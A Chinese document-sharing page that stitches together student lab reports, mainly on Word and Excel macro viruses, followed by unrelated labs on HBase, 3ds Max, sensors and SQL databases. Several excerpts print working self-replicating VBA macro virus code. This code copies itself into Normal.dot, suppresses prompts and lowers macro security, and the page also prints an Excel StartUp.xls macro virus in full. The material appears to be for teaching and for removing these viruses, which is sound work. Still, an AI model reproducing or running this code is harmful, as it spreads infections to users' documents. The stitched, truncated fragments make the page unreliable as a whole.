文档库 最新最全的文档下载
当前位置:文档库 › 实验3 宏病毒

实验3 宏病毒

实验3  宏病毒
实验3  宏病毒

XI`AN TECHNOLOGICAL UNIVERSITY

实验报告

实验课程名称宏病毒

专业:信息对抗技术

班级: 130609

姓名:李佩隆

学号: 130609105

实验学时: 12学时

指导教师:曹子建

成绩:

2016 年 3 月 28 日一.实验目的

1.理解WORD宏病毒的感染方式

2.理解WORD宏病毒的工作原理

3.掌握WORD宏病毒的杀毒方法

二.实验原理

WORD的文件建立是通过模板来创建的,模板是为了形成最终文档而提供的特殊文档,模板可以包括以下几个元素:菜单、宏、格式(如备忘录)等。模板是文本、图形和格式编排的蓝图,对于某一类型的

所有文档来说,文本、图像和格式编排都是类似的。

WORD提供了几种常见文档类型的模板,如备忘录、报告和商务信件。你可以直接使用模板来创建新文档,或者加以修改,也可以创建自己的模板。一般情况下,WORD自动将新文档基于缺省的公用模板NORMAL.DOT。由此可以看出,模板在建立整个文档中起的作用是作为基类,文档继承模板的属性,包括宏、菜单、格式等。

另外,WORD还提供强大的宏功能。宏是能组织到一起作为一个独立命令使用的一系列WORD命令,它能使日常工作变得更容易。

在WORD启动时,会自动加载NORMAL.DOT模板,以及它们所包含的宏。您可以为宏指定特殊的名称,使其变为自动宏,以便在执行某一操作时,如:启动WORD或打开文档,就自动执行具有特殊命名的宏。

同其他宏一样,你可以将自动宏定义在一个共用模板上,也可以将其定义在一个特定模板上。

宏病毒主要寄生在以下3个宏中:AUTOOPEN、AUTONEW、AUTOCLOSE。带病毒文档打开时,将病毒传染给NORMAL.DOT公用模板中,再由公用模板传染给所有其它正常的文档。

二.MOTHERSDAYVIRUS病毒感染机制

MOTHERSDAYVIRUS宏病毒感染WORD文档和NORMAL.DOT文档。被感染的WORD文档打开时或关闭时会首先弹出一个对话框,对话框关闭后再将控制权转移给正常的WORD文档执行。MOTHERSDAYVIRUS 使用DOCUMENT_OPEN宏(文档打开时执行)感染NORMAL.DOT,使用

AUTOCLOSE自动宏感染其它文档。

MOTHERSDAYVIRUS病毒执行流程如下:

(1)判断当前文档和NORMAL.DOT是否感染;

(2)如果NORMAL.DOT未被感染,清空NORMAL.DOT,并将病毒复制到NORMAL.DOT,同时将宏重命名为AUTOCLOSE;

(3)如果当前文档未被感染,清空当前文档宏命令,并将病毒复制到当前文档,同时将宏重命名为DOCUMENT_OPEN;

(4)禁用WORD的宏编辑功能;

(5)添加自动保存功能;

(6)病毒发作执行的操作(弹出对话框);

(7)返回到程序正常路径执行。

三.MICROSOFT WORD对象

APPLICATION对象表示MICROSOFT OFFICE WORD 2003应用程序本身。每次编写代码时,都应从APPLICATION对象开始。可以从APPLICATION对象访问WORD公开的所有其他对象和集合,以及APPLICATION对象自身的属性和方法。引用APPLICATION对象后,就可以使用其方法和属性。

在用户启动一个WORD时段的同时,也创建了一个APPLICATION对象。用户可以使用APPLICATION对象的属性或方法来控制或返回应用程序范围内的特性、控制应用程序窗口的外观或者调整WORD对象模型的其他方面。可以使用APPLICATION属性来返回WORDAPPLICATION对象。以下的示例从视图状态切换到打印预览状态。

APPLICATION对象的一些属性控制着应用程序的外观。例如,如果DISPLAYSTATUSBAR属性为TRUE,那么状态栏是可见的,如果WINDOWSTATE属性值为WDWINDOWSTATEMAXIMIZE,那么应用程序窗口处于最大化状态。以下的示例设置了屏幕上应用程序窗口的大小。

APPLICATION对象的属性也可以访问处于对象层次中较低级的对象,比如WINDOWS集合(代表了当前所有打开的窗口)和DOCUMENTS集合(代表了当前所有打开的文档)。用户可以使用属性,有时候也叫做访问者,从对象层次中最高一级的APPLICATION对象向下访问到较低级的对象(DOCUMENT对象、WINDOW对象、SELECTION对象等等)。可以使用以下两个示例之一来打开MYDOC.DOC。

因为DOCUMENT属性是共用的,所以APPLICATION属性是可选的。共用属性和方法无需APPLICATION对象限定符。要在“对象浏览器”中浏览共用属性和方法的列表,可以在“类别”栏中单击“<共用>”。共用项就会列在“成员”栏中。

注释OPTION对象包含了控制WORD共用行为的一些属性。许多OPTION对象的属性对应于OPTION对话框中的各项(TOOLS菜单)。使用APPLICATION对象的OPTION属性可以返回OPTION对象。以下的示例设置了三个应用程序范围内的选项(因为OPTION属性是共用的,所以在本示例中无需APPLICATION属性)。(1)运用DOCUMENT对象。

当用户在WORD中打开或创建一个文件的同时,也创建了一个DOCUMENT对象。用户可以使用DOCUMENT对象或DOCUMENTS集合的属

性或方法来打开、创建、保存、激活或者关闭文件。

(2)返回DOCUMENT对象。

用户可以使用语法DOCUMENTS(INDEX)来返回作为一个DOCUMENT 对象的任何打开的文档,在这里INDEX是该文档的名字或索引号。(3)打开文档。

要打开一个已经存在的文档,可以使用OPEN方法。OPEN方法应用于通过DOCUMENT属性返回的DOCUMENTS集合。以下的示例打开了文件TEST.DOC(从当前文件夹)并且启动了更改跟踪。

注意到在上例中OPEN方法的返回值是一个DOCUMENT对象,该对象表示刚被打开的文档。在此示例中的文件名不包含路径;因此,是假定了该文件在当前的文件夹中。但这会导致出现一个运行时错误,因为一旦用户创建了与当前文件夹不同的文件夹,VISUAL BASIC 就再也找不到该文件了。但是,用户可以通过指明完整的路径,就如同下表所示的那样,来确保打开正确的文件。

(4)关闭文档。

要关闭一个文档,可以对DOCUMENT对象应用CLOSE方法。以下的示例关闭了名为“SALES.DOC”的文档。

如果对文档进行过修改,WORD会显示出一条消息来询问用户是否要保存所进行的修改。用户可以随SAVECHANGES参数使用WDDONOTSAVECHANGES或WDSAVECHANGES常量来使该提示不再出现。以下的示例保存并且关闭了SALES.DOC。

要关闭所有已打开的文档,可以对DOCUMENTS集合应用CLOSE方

法。以下的示例没有保存修改就关闭了所有的文档。

(5)向文档添加对象。

可以使用随着能在DOCUMENT对象中访问的集合对象的ADD方法来向文档添加诸如脚注、备注或表格这样的对象。例如,以下命令在MYRANGE变量(MYRANGE是一个包含了一个RANGE对象的对象变量)所指定的位置上添加了一张3X3的表格。

以下的示例在MYRANGE变量所指定的位置上添加了一个脚注。

要获得支持ADD方法的集合对象列表,请参阅“帮助”中的“ADD 方法”。

(6)修改WORD命令。

在“工具”菜单中,用鼠标指向“宏”,然后单击“宏的位置”。

在“宏的位置”一栏中,单击“WORD命令”。

在“宏名”一栏中,选中要修改的WORD命令(例如,)。

在“宏的位置”一栏中,选择要保存宏的模板或文档的位置。例如,单击NORMAL.DOT(共用模板)来创建一个共用宏(命令将会自动地对所有文档进行修改)。

单击“创建”打开VISUAL BASIC编辑器,会显示出一个模块,该模块包含有一个与刚才被选中的命令同名的新过程。如果选中了命令,那么就出现宏。

(7)保存活动文档或模板。

用户可以添加附加的命令或删除已有的

Word宏病毒

Word宏病毒 1.实验目的(后果自负) Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。 2.实验所需条件和环境 硬件设备:局域网,终端PC机。 系统软件:Windows系列操作系统 支撑软件:Word 2003 软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问 实验环境配置如下图所示: 受感染终端 受感染 Word文档 被感染终端宏病毒传播示意图 3.实验内容和分析 为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过

多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 3.1. 例1 自我复制,感染word公用模板和当前文档 代码如下: 'Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With Host If .Lines(1.1) <> "'Micro-Virus" Then .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode .ReplaceLine 2, "Sub Document_Close()" If ThisDocument = nomaltemplate Then .ReplaceLine 2, "Sub Document_Open()" ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox "MicroVirus by Content Security Lab" End Sub 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。 3.1.1.代码解释 以上代码的基本执行流程如下: 1)进行必要的自我保护 Application.DisplayStatusBar = False Options.SaveNormalPrompt = False 高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将

20152567-李莹-实验报告3

《大数据技术原理与应用》实验报告 题目:熟悉常用的HBase操作 姓名:李莹 日期:2018.6.15

实验三熟悉常用的HBase操作 一、实验环境 操作系统:Linux Hadoop版本:2.6.0或以上版本 HBase版本:1.1.2或以上版本 JDK版本:1.6或以上版本 Java IDE:Eclipse 二、实验内容 1.安装Hbase 2.测试Hbase

3.启动Hbase 4.打开Hbase shell 5.设计表

6.编程 (1)插入 public class HbaseTest { public static Configuration configuration; public static Connection connection; public static Admin admin; public static void main(String[] args) { configuration = HBaseConfiguration.create(); configuration.set("hbase.rootdir", "hdfs://localhost:9000/hbase"); try { connection = ConnectionFactory.createConnection(configuration ); admin = connection.getAdmin(); } catch (IOException e) { e.printStackTrace(); } try { insertRow("student", "scofield", "score", "English", "45"); insertRow("student", "scofield", "score", "Math", "89"); insertRow("student", "scofield", "score", "Computer", "100");

清除宏病毒

清除宏病毒,名字是:StartUp.xls方法 --大白菜 文中图片都很小,看不清楚,可以用以下快捷方式:按住ctrl 向上滚动鼠标滑轮可以放大word,就可以看清楚图片了 病毒样本如下:(下面是宏病毒代码,电脑知识欠缺的,千万被乱动哦,小心弄巧成拙) Vba代码 =================宏病毒代码复制从下一行开始================= Sub auto_open() On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then Application.ScreenUpdating = False ThisWorkbook.Sheets("StartUp").Copy ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") n$ = https://www.wendangku.net/doc/e52524971.html, ActiveWindow.Visible = False Workbooks("StartUp.xls").Save Workbooks(n$).Close (False) End If Application.OnSheetActivate = "StartUp.xls!cop" Application.OnKey "%{F11}", "StartUp.xls!escape" Application.OnKey "%{F8}", "StartUp.xls!escape" End Sub Sub cop() On Error Resume Next If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then Application.ScreenUpdating = False n$ = https://www.wendangku.net/doc/e52524971.html,

宏病毒分析及清除实验

实验五宏病毒分析及清除实验 姓名:xxx 学号:xxxxxxxx 日期:2014年4月26日 专业:计算机科学与技术 一、实验目的 ?了解“宏病毒”机理; ?掌握清除宏病毒的方法; ?掌握采用“宏”和脚本语言进行编程的技术。 二、实验环境 ?Windows2003操作系统; ?Office Word2003字处理软件。 三、实验内容 1.软件设置 关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。 注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 2.自我复制功能演示 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。 完整代码如下:

SQL 数据库实验报告3

一、实验内容 (1)掌握在SQL Server管理平台中对表进行插入、修改和删除数据操作的方法。 (2)掌握使用Transact-SQL语句对表进行插入、修改和删除数据操作的方法。 二、实验器材(设备、元器件) Window7操作系统,SQL Server软件 三、实验步骤 (1)启动SQL Server管理平台,在对象资源管理器中展开studentsdb数据库文件夹。 (2)在studentsdb数据库中包含有数据表student_info、curriculum、grade,这些表的数据结构如图所示在studentsdb数据库中包含有数据表student_info、curriculum、grade,这些表的数据结构如图所示 (3)在SQL Server管理平台中创建student_info、curriculum表。 学生基本情况表student_info 课程信息表curriculum

①启动SQL Server管理平台,在对象资源管理器中展开studentsdb数据库文件夹。 ②在SQL Server管理平台中创建student_info表。 ③在SQL Server管理平台中创建curriculum表。 (4)使用Transact-SQL语句CREATE TABLE在studentsdb数据库中创建表 学生成绩表grade

①新建查询,输入Transact-SQL语句,点击执行 ②出现如下界面,学生成绩表grade建立成功 (5)在SQL Server管理平台中,将student_info表的学号列设置为主键,非空。

(6)student_info、curriculum、grade表中的数据如图所示。 student_info的数据 curriculum的数据 grade的数据 (7)在SQL Server管理平台中为student_info表添加数据

3Dmax实验报告3解读

宁德师范学院计算机系 实验报告 (2015—2016学年第二学期) 课程名称 3d建模设计 实验名称实验三布尔命令 专业计算机科学与技术(专升本)年级 15级 学号 B2015102323 姓名林振贤指导教师钱庆平 实验日期

实验目的与要求: 1.熟悉掌握3ds max界面操作与视图控制方法; 2.熟练掌握物体的变动修改操作方法; 3.熟练掌握物体的各种创建方法和成组操作方法; 4.能够熟练灵活地运用几何体来构建复杂模型。 5.掌握多边形建模。 6.掌握挤出,二维线,布尔,放样,编辑网格等功能 实验设备(环境): Windows XP 、3d max 9.0 实验内容: 通过各种工具,制作厨房组合。 1.用二维线绘制厨房橱柜。 2.用布尔命令制作水槽口。 3.制作水龙头等。 4.给各部分添加UVW添加材质。 实验步骤、实验结果及分析: 知识点:利用二维图形挤出生成三维物体。 1、单击“自定义”-》“单位设置”,选择“毫米” 单击二维矩形按钮,在左视图创建一个700mmX500mm的矩形和150mmX90mm

的矩形,选择小的矩形,单击对齐按钮,点击大的矩形。 将小矩形对齐大矩形后,再次单击对齐按钮再次点击大矩形,对齐第2次。

单击确定, 2、单击二维矩形按钮,在左视图创建2个半径为15mm的圆,调整其位置。 (选择画好的两个圆,单击“对齐命令”,单击大矩形,在y轴上细节调整下) 3、单击大的矩形,添加“编辑样条线”修改器。单击“附加多个”,将所有的样条 线附加为一起。

4、点击“样条线”层级,选中所有的样条线,单击“修剪”命令,修剪多 余的样条线,如下所示: 5、回到“顶点”层级,选中所有的顶点,单击。 6、单击,在2个半圆的上下端各添加2个点,在y轴上细节调整,尽量间 距一样。

实验三 脚本病毒和宏病毒分析

实验三脚本病毒和宏病毒分析 一、实验目的 通过这项实验旨在使学生掌握Office下宏病毒的基本原理,主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。 二、实验环境 操作系统环境:Windows98/NT/2000/XP 编程环境:Office VBA 三、实验基础知识要求 Office VBA编程环境 四、实验任务 1.任务性质:验证性实验 2.任务描述:下面的示例中给出的是一个Word宏病毒的示例程序(只有传染模块),仔细阅读源程序,掌握Word宏病毒的传染过程。 3.任务步骤: (1)打开Word2000,新建一个文档名为“test”; (2)点击“工具-宏-宏”,在对话框“宏的位置”选择“test”,在宏名中输入“autoclose”,然后点击“创建”按钮; (3)在VBA编辑环境中输入示例程序中给出的代码,并保存,然后退出VBA; (4)点击“工具-宏-宏”,在对话框中点击“管理器”按钮,在管理器对话框中点击“宏方案项”标签;在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”; (5)点击“工具-宏-安全性”,在安全性对话框中的安全级标签中选择“低”,在可靠性来源标签中选择“信任对VB项目的访问”; (6)保存并关闭“test”文档; (7)新建一个文档test1,关闭后重新打开,观察test1是否被感染。 (8)清除此宏病毒,即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。 4.示例程序 Sub autoclose() ' autoclose Macro ' 宏在2005-8-26 由jingjd 创建 On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False 'Options.VirusProtection = False Options.SaveNormalPrompt = False Const VirusName = "AOPEDMOK" 'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name 'MsgBox ActiveDocument.VBProject.VBComponents(2).Name Set Doc = ActiveDocument.VBProject.VBComponents Set Tmp = NormalTemplate.VBProject.VBComponents Const ExportSource = "E:\aopedmok.txt" For j = 1 To Doc.Count

令人心烦的excel宏病毒终于清除了-推荐下载

令人心烦的excel宏病毒终于清除了!我如释重负地吁了口气,脑子一下子轻松了许多。你可能不知道,为了清除这个excel宏病毒,几天来,搞得我头昏脑胀。 大约两三个星期前,同事罗某告诉我,下面报上来的excel表,打开后出现了奇怪的现象:会自动打开一个book1的电子表格。他让我帮忙解决一下。我初步判断是宏病毒,默认打开的book1可能是excel的模板。我先“另存为”文件,找到book1的位置,删掉。同时把excel的宏安全性设置为高,禁止运行来历不明的宏,问题即解决了。 恰巧到下面去检查工作,某单位反映,电脑中病毒了,所以没有及时交表格。一问情况,与罗某讲的情况一样。我主动表示去“搞搞看”。但是情况并非如我猜想的那样。情况是:如果将宏的安全性设为非常高,禁用宏,会弹出一个警告:“出现了一个不能被禁止、又无法签署的Microsoft Excel 4.0 宏”,该表打不开;如果要打开这个表,必须降低excel宏安全性等级,将它设为中或低,即运行宏病毒,但又多出了一个book1表。即使将book1删除,仍然不行。面对这个新病毒,当时我不知该怎么办。 没过两天,罗某又来找我,说又出现了一种现象。我去看了,正与上次在下面检查时看到了excel 4.0 宏病毒一模一样。而且,下面有几个单位都说出现了宏病毒,上报来的表格中都有上面讲的问题。而且办公室有三台电脑都感染了excel 4.0 宏病毒。这么多的电脑感染了,引起了我的兴趣。

以前,我的电脑也多次中过病毒。我一般的做法就是上网查找 资料,把几篇文章介绍的方法结合起来,多试几次,几乎都能解决。可是这一次,情况完全不同。上网查了多次,讲宏病毒的文章特别多,但是介绍杀除方法的极少,而专门针对Microsoft Excel 4.0 宏病毒的只有一两篇提问的贴子,所介绍的方法就两样,一是在Excel 2003中禁止宏,二是用杀毒软件。第一种禁止是不行的,第二种杀毒软件我用了小红伞、360安全卫士,没查出病毒。 除此之外,还有一种临时救急的方法是:打开病毒表格,复制,再新建一个表格,选择性粘贴,只选值,最后保存。这个办法虽然行,但是面对那么多有宏病毒的表格,一个一个打开、复制、选择 性粘贴是不现实的。怎么办呢? 接下来,我的思路是选择一种不支持excel宏的电子表格软件,这 样也许就把宏病毒过滤了。我试验过的软件有:wps office 2003 到最新的2010版,Ashampoo Office 2010,OpenOffice 3.2,永中Office 2009。它们都提示发现了宏,有的说不支持,有的说可以禁用,重新保存后宏病毒仍然存在,要么再打开时软件死机。 但是试验中发现微软Office 2007 / 2010 Beta 可以打开表格,只是在菜单栏提示“禁止了宏”,不影响操作。然而,现在基层单 位的电脑配置都比较低,安装不了Office 2007 / 2010 Beta,再说Office 2007 / 2010 Beta的菜单怪怪的,很多人不习惯。最重要的是,这并没有从根本上解决问题,宏病毒依然在表格文件里。 有个单位的人对我说,他们请来了电脑公司人员,几个小青年,把

数据库原理实验报告(3)实验三数据表的创建与管理实验

数据库原理实验报告(3)实验三数据表的创建与 管理实验 南京晓庄学院 《数据库原理与应用》 课程实验报告 实验三数据表的创建与管理实验 所在院(系): 数学与信息技术学院班级: 学号: 姓名: 1.实验目的 (1) 理解SQL Server 20xx常用数据类型和表结构的设计方法。理解主键、外键含义,掌握 建立各表相关属性间参照关系的方法。 (2) 熟练掌握使用SQL Server Management Studio图形工具创建表,删除表,修改表结构,插入及更新数据的方法。 (3) 熟练掌握使用Transact-SQL语句创建表,删除表,修改表结构,插入及更新数据的方 法。 2.实验要求 基本实验:

(1) 在实验二所创建的“TM”数据库中合理设计以下各表逻辑结构: 学生信息(学号,姓名,性别,籍贯,出生日期,民族,学院/系别号,班级号) 课程信息(课程号,课程名称,课程所属模块,课程类别,学分,学时) 学习信息(学号,课程号,考试成绩,平时成绩) 院系信息(院系号,院系名称) 要求确定各个字段的名称、类型、是否有默认值,是否主键等信息。 (2) 依据你所设计的表结构,使用SQL Server Management Studio图形工具在“TM”数据 库中创建学生信息表和课程信息表,并试验在图形界面中修改表结构,删除数据表,输入并更新数据的方法。 (3) 依据你所设计表结构,使用Transact-SQL语句创建学习信息表和院系信息表,并试验 使用T-SQL语句修改表结构,删除数据表,插入和更新数据的方法。 (4) 找出已创建各表之间相关属性的参照关系,并在相关表中增加引用完整性约束。 (5) 按要求完成实验报告。 扩展实验: (1) 在“TM”数据库中补充设计以下各表结构:

宏病毒实验报告

宏病毒实验报告 2 邹文敏 一、实验目的 通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。 加深对宏病毒的感性认识,宏病毒是感染数据文件word,office 等。 二、实验内容 运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。 三、实验步骤 实验一: 将word文档中的开发者工具打开;word 中心→信任选项→宏设计将信任选项打开

运行第一个实验Visual Basic →normal →Microsoft→the document Project→microsoft word对象→the document复制如下代码:'APMP Private Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.VirusProtection = False Options.SaveNormalPrompt = False '以上都是基本的自我隐藏措施 MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines( 1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _ Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule

数据库道理实验报告3

实验三数据表的创建与管理实验 所在院(系):数学与信息技术学院 班级: 学号: 姓名:

1.实验目的 (1)理解SQL Server 2005常用数据类型和表结构的设计方法。理解主键、外键含义,掌握 建立各表相关属性间参照关系的方法。 (2)熟练掌握使用SQL Server Management Studio图形工具创建表,删除表,修改表结构, 插入及更新数据的方法。 (3)熟练掌握使用Transact-SQL语句创建表,删除表,修改表结构,插入及更新数据的方 法。 2.实验要求 基本实验: (1)在实验二所创建的“TM”数据库中合理设计以下各表逻辑结构: 学生信息(学号,姓名,性别,籍贯,出生日期,民族,学院/系别号,班级号) 课程信息(课程号,课程名称,课程所属模块,课程类别,学分,学时) 学习信息(学号,课程号,考试成绩,平时成绩) 院系信息(院系号,院系名称) 要求确定各个字段的名称、类型、是否有默认值,是否主键等信息。 (2)依据你所设计的表结构,使用SQL Server Management Studio图形工具在“TM”数据 库中创建学生信息表和课程信息表,并试验在图形界面中修改表结构,删除数据表,输入并更新数据的方法。 (3)依据你所设计表结构,使用Transact-SQL语句创建学习信息表和院系信息表,并试验 使用T-SQL语句修改表结构,删除数据表,插入和更新数据的方法。 (4)找出已创建各表之间相关属性的参照关系,并在相关表中增加引用完整性约束。 (5)按要求完成实验报告。 扩展实验: (1)在“TM”数据库中补充设计以下各表结构: 教师信息(教师号,姓名,性别,出生日期,学历,学位,入职时间,职称,院系号) 授课信息(教师号,课程号,学期) 班级信息(班级号,班级名称,专业号) 专业信息(专业号,专业名称,学制,学位) 图书信息(图书号,书名,作者,出版社,出版日期,册数,价格,分类) 借书偏息(学号,图书号,借出时间,归还时间) 奖励信息(学号,奖励类型,奖励金额) (2)设计并实现各表之间相关属性的参照关系。 (3)使用SQL Management Studio图形界面或Transact-SQL在“TM”数据库中创建前述各 表,并插入部分数据,要求所插入数据合理有效。 3.实验步骤、结果和总结实验步骤/结果

数据采集与处理实验报告3

大连海事大学实验报告 专业班级:环境工程2011-1 学号:2220113199 姓名:陈凡 课程名称:数据采集与处理技术 实验时间:6月18号 指导教师:刘明(电航101) 实验名称:实验三 金属箔式应变片——全桥性能实验 一、实验目的:了解全桥测量电路的优点。 二、基本原理:全桥测量电路中,将受力方向相同的两应变片接入电桥对边,相反的应变片接入电桥邻边。当应变片初始阻值:R 1=R 2=R 3=R 4,其变化值ΔR 1=ΔR 2=ΔR 3=ΔR 4时,其桥路输出电压U 03=KEε。其输出灵敏度比半桥又提高了一倍,非线性误差和温度误差均得到改善。 三、需用器件和单元:同实验二。 四、实验步骤: 1、将托盘安装到应变传感器的托盘支点上。将实验模板差动放大器调零:用导线将实验模板上的±15v 、⊥插口与主机箱电源±15v 、⊥分别相连,再将实验模板中的放大器的两输入口短接(V i =0);调节放大器的增益电位器R W3大约到中间位置(先逆时针旋转到底,再顺时针旋转2圈);将主机箱电压表的量程切换开关打到2V 档,合上主机箱电源开关;调节实验模板放大器的调零电位器R W4,使电压表显示为零。 图3—1 全桥性能实验接线图 2、2、拆去放大器输入端口的短接线,根据图3—1接线。实验方法与实验二相同,将实验数据填入

表3画出实验曲线;进行灵敏度和非线性误差计算。实验完毕,关闭电源。 表2 五、实验数据处理 1、根据表2画出实验U-W 曲线 取图中点(20,0.015)、(200,0.157)得曲线斜K=S 2=ΔU/ΔW=(0.157-0.015)/(200-20)=0.000789v/g Δm 在点(60,0.047)处取得,Δm=0.001,δ=Δm/y FS ×100%=0.001/200×100%=0.0005% 六、思考题: 1、测量中,当两组对边(R 1、R 3为对边)电阻值R 相同时,即R 1=R 3,R 2=R 4,而R 1≠R 2时,是否可以组成全桥:(1)可以(2)不可以。 2、某工程技术人员在进行材料拉力测试时在棒材上贴了两组应变片,如图3—2,如何利用这四片应变片组成电桥,是否需要外加电阻。 图3-2应变式传感器受拉时传感器圆周面展开图

word宏恶意代码实验

计算机宏病毒分析 一、实验目的 ?了解“宏病毒”机理; ?掌握清除宏病毒的方法; ?掌握采用“宏”和脚本语言进行编程的技术。 二、实验环境 ?Windows 7 64位旗舰版 ?Office Word2010字处理软件。 三、实验要求 ?宏的编写; ?理解宏病毒的作用机制。 四、实验步骤: 1.软件设置 关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。 注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 2.自我复制功能演示 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。 完整代码如下: 'Macro-1:Micro-Virus

GF宏病毒

西安邮电大学 通信与信息工程学院 网络攻防实验报告 专业班级: 学生姓名: 学号(班内序号): 2014 年 5 月 28 日 —————————————————————————— 装 订 线———————————————————————————————— 报告份数:

实验宏病毒 1.场景描述 在虚拟机中演示word宏病毒的发生机制,以及如何清除病毒的一系列操作。宏病毒样本:自我复制及感染病毒(copy.txt) 类台湾一号病毒(No1.txt) 备注:实验工具(D盘-->攻防工具包-->宏病毒:Copy.txt、TaiWanNo1.txt) 2.实验目的 (1)演示宏的编写 (2)说明宏的原理及其安全漏洞和缺陷 (3)理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识 3.需求分析 宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。 因为Microsoft Word几乎已经成为目前全世界办公文档的事实工业标准,其影响是全球范围的。Word文件的交换是目前办公室数据交流和传送的最通常的方式之一,而且该病毒能跨越多种平台,并且针对数据文档进行破坏,因此具有极大地危害性。所以,必须要掌握如何预防和清除宏病毒,让损失减少。 4.技术分析 Word的文件建立是通过模板来创建的,模板是为了形成最终文档而提供的特殊文档,模板可以包括以下几个元素: 菜单、宏、格式(如备忘录等)。模板是文本、图形和格式编排的蓝图,对于某一类型的所有文档来说,文本、图像 和格式编排都是类似的。 Word提供了几种常见文档类型的模板,如备忘录、报告和商务信件。您可以直接使用模板来创建新文档,或者加 以修改,也可以创建自己的模板。一般情况下,Word自动将新文档基于缺省的公用模板(Normal.dot)。 可以看出,模板在建立整个文档中所起的作用,作为基类,文档继承模板的属性,包括宏、菜单、格式等。 Word处理文档需要同时进行各种不同的动作,如打开文件、关闭文件、读取数据资料以及储存和打印等等。每一 种动作其实都对应着特定的宏命令,如存文件与FileSave相对应、改名存文

数据库原理实验报告_实验三_数据完整性与安全性控制

实验内容、步骤以及结果 1.利用图形用户界面对实验一中所创建的Student库的S表中,增加以下的约束和索引。 (18分,每小题3分) (1) 非空约束:为出生日期添加非空约束。 非空约束:取消表S中sbirth的勾。可能需要重建表。 (2) 主键约束:将学号(sno)设置为主键,主键名为pk_sno。 设主键:单击数据库Student-->单击表-->单击S-->右击sno-->选择修改命令-->对话框中右击sno-->选择设置主键'>修改主键名为pk_sno '-->保存

(3)唯一约束:为姓名(sname)添加唯一约束(唯一键),约束名为uk_sname 。 唯一约束:单击数据库Student-->单击表--> 单击S-->右击sname-->选择修改’ 命令T右击 sname-->选择索引和键命令--> 打开索引和键框图--> 添加--> 是否唯一改为是--> 名称改为us sname '-->关闭。

(4)缺省约束:为性别(ssex)添加默认值,其值为男 设默认约束:单击数据库Student宀单击表宀单击右击sno^选择修改命令宀单击cno-->在默认值栏输入男’保存

